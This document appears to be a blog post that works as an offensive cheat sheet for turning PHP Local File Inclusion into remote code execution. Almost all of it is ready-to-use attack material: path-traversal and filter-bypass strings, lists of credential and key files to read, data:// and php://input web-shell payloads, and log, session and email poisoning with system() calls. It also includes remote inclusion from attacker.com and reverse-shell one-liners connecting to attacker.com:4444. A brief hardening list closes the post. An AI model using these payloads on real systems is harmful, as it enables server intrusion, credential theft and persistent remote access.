Local File Inclusion looks like a read-only file disclosure bug at first. In practice, with the right chaining techniques, it almost always escalates to Remote Code Execution. This post covers every path from LFI to shell.
Basic Detection Vulnerable code pattern:
include ($_GET ['page' ] . '.php' );include ('pages/' . $_GET ['lang' ]);
Test for path traversal:
?page=../../ ../../ etc/passwd ?lang=../../ ../etc/ passwd%00 ?page=....// ....// etc/passwd # bypass ../ filter ?page=..././ ..././ etc/passwd ?page=%2 e%2 e%2 f%2 e%2 e%2 fetc%2 fpasswd ?page=..%252 f..%252 fetc%252 fpasswd
Useful Files to Read Linux /etc/ passwd → user list/etc/ shadow → password hashes (requires root)/etc/ hosts → internal hostnames/proc/ self/environ → environment variables (can contain secrets)/proc/ self/cmdline → process command line/proc/ self/fd/ 0 → stdin/proc/ net/tcp → open TCP connections/var/ log/apache2/ access.log → Apache access log/var/ log/nginx/ access.log → Nginx access log/var/ log/auth.log → SSH login attempts/var/m ail/www-data → mail for web user ~/.bash_history → command history ~/.ssh/i d_rsa → SSH private key/etc/ crontab → cron jobs/etc/ nginx/nginx.conf → Nginx config/etc/ apache2/apache2.conf
PHP-specific /etc/ php.ini/var/ log/php_error.log/proc/ self/fd/ 10 → PHP-FPM log
Windows C :\Windows\win.iniC :\Windows\System32\drivers\etc\hostsC :\inetpub\logs\LogFiles\W3SVC1\ → IIS logsC :\Windows\System32\winevt\Logs\ → Event logsC :\Users\Administrator\.ssh\id_rsaC :\xampp\apache\logs\access.logC :\wamp\logs\access.log
PHP Wrappers — Reading Source Code Even without path traversal, PHP wrappers can read files:
?page=php:// filter/convert.base64-encode/ resource=index.php ?page=php:// filter/read=string.rot13/ resource=config.php ?page=php:// filter/convert.iconv.UTF-8.UTF-16/ resource=config.php
Decode the base64 response:
echo "PD9waHAgLi..." | base64 -d
data:// wrapper (code execution)?page=data://text/plain, <?php system ($_GET ['cmd' ])?> ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk/Pg==
This works only when allow_url_include = On in php.ini.
expect:// wrapper?page=expect://i d ?page=expect:// whoami
Requires the expect extension — rarely enabled but worth trying.
curl -X POST "https://target.com/?page=php://input" --data " <?php system ('id' ); ?> "
Log Poisoning If you can read a log file via LFI and you can write to it, poison it with PHP code.
Apache / Nginx access log curl -s "https://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>" https://target.com/?page=../../../../var/log/apache2/access.log&cmd=id
SSH auth log (/var/log/auth.log) ssh "<?php system(\$_GET['cmd']); ?>" @target.com
PHP session file poisoning PHP saves session data to files. If you can write PHP into a session and then include the session file:
/var/ lib/php/ sessions/sess_<PHPSESSID>/tmp/ sess_<PHPSESSID>
Set a cookie value to PHP code: Cookie: PHPSESSID=abc123; user=<?php system($_GET['cmd']); ?>
Include the session file: ?page=../../../../var/lib/php/sessions/sess_abc123&cmd=id
Email log poisoning swaks --to www-data@target.com --from attacker@attacker.com \ --header "Subject: <?php system(\$_GET['cmd']); ?>"
/proc/self/environ Injection Environment variables are often injectable via HTTP headers:
curl "https://target.com/" -H "User-Agent: <?php system(\$_GET['c']); ?>" ?page=../../../../proc/self/environ&c=id
/proc/self/fd — File Descriptor Trick The process keeps open file descriptors. fd/0-9 are often stdin/stdout, but error logs and request data can be in higher fds:
?page=../../ ../../ proc/self/ fd/0 ?page=../../ ../../ proc/self/ fd/1 ?page=../../ ../../ proc/self/ fd/2 ... up to /proc/ self/fd/ 20
Send the PHP payload in the request body and include the matching fd.
phpinfo() + LFI Race Condition When a file is uploaded (even if immediately deleted), it exists briefly in /tmp. The technique:
Send a multipart upload request — PHP creates /tmp/phpXXXXXX temporarily.
Simultaneously, rapidly include /tmp/phpXXXXXX via LFI.
If you win the race, the PHP file executes.
Automate with LFI-phpinfo-rce tool.
pearcmd.php — PHP Pear Command Injection On PHP installations with Pear installed, there’s often a writable pearcmd.php:
?page=/usr/share/php/pearcmd&+config-create+/&/<?php system ($_GET ['cmd' ])?> +/tmp/lfi.php ?page=/tmp/lfi&cmd=id
The + signs are treated as command line arguments.
RFI — Remote File Inclusion When allow_url_include = On:
?page=http:// attacker.com/shell.txt ?page=https:// attacker.com/shell.php ?page=ftp:// attacker.com/shell.txt
Host shell.txt on your server:
<?php system ($_GET ['c' ]); ?>
Automated Exploitation python lfi_suite.py ./kadimus -u "https://target.com/?page=" -C /etc/passwd -A exploit python liffy.py -u "https://target.com/?p=" --rce python fimap.py -u "https://target.com/?page=x"
From Shell to Stable Access Once you have RCE:
bash -i >& /dev/tcp/attacker.com/4444 0>&1 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh"])' php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");' python3 -c 'import pty; pty.spawn("/bin/bash")' stty raw -echo ; fg export TERM=xterm
Never pass user input to include(), require(), or file functions.
Use a whitelist: if (!in_array($page, ['home','about','contact'])) die();
Set open_basedir in php.ini to restrict accessible paths.
Disable allow_url_include and allow_url_fopen when not needed.
Ensure web server logs are not readable by the web process user.
No comments yet. Be the first.